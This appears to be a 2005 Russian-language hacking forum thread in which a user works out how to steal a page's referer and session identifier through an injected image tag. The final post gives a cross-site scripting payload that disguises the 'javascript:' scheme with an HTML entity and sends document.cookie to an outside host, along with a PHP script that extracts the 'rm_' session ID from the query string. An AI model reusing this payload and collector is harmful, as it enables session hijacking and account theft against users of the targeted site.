Http_referer

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Майор, 30 Jan 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Как стянуть HTTP_REFERER при переходе со страницы
    Например
    <image src=javascript:window.location.href="http://www.adres.ru/l.php">

    l.php :

    <?
    echo $HTTP_REFERER;
    ?>

    Ничего не выводиться ...., почему ???
     
  2. UM0RA

    UM0RA New Member

    Joined:
    21 Jan 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    попробуй так:

    <?
    global $HTTP_REFERER;
    echo $HTTP_REFERER;
    ?>
    Иногда переменные окружения надо заранее объявлять как глобальные
     
  3. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
    Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.

    В данном случае нужно использваоть например такой тег:
    <image src="http://www.adres.ru/l.php">
     
  4. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Спасибо !
     
  5. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Дело в том, что сначало надо стянуть referer, а потом использовать его для перехода:
    HTML:
     <image src=javascript:window.location.href="http://www.adres.ru/l.php"> 
    Если сначало стянуть referer так, то загрузить страницу нельзя в текущее окно IE :
    HTML:
    <image src="http://www.adres.ru/l.php">
    А если сохранять referer в файл где то на хостинге, то файлы обновляется не мгновенно........, то есть так не пройдёт :
    HTML:
    ]<image src="http://www.adres.ru/referer.php">
    <image src=javascript:window.location.href="http://www.adres.ru/l.php">
    
    Вот какая проблема :(
     
    #5 Майор, 31 Jan 2005
    Last edited: 31 Jan 2005
  6. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Если честно, то ничего не понял из последнего постинга ))
     
  7. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Проблема в том, что надо и идентификатор сесии стянуть со страницы, и с этойже страницы зделать редирект на другую с этим(подставленным) идентификатором :eek:
     
    #7 Майор, 3 Feb 2005
    Last edited: 3 Feb 2005
  8. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Идентификатор этот передать ты хочешь через что ?
    Через куку или через реферер ?
     
  9. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Ну коли через реферер никак, то через куки как-нибудь ...
     
  10. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Точно! решение найдено
    <image src=javascript&#13:window.location.href="http://adress.ru/test.php?"+document.cookie;>

    <?
    $nomer=strpos("$QUERY_STRING","rm_")+3;
    $id=substr("$QUERY_STRING","$nomer",35);
    ?>
     
  11. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    ....
    а всётаки не как referer к
    window.location.href=
    не зацепить ?
     
    #11 Майор, 4 Feb 2005
    Last edited: 5 Feb 2005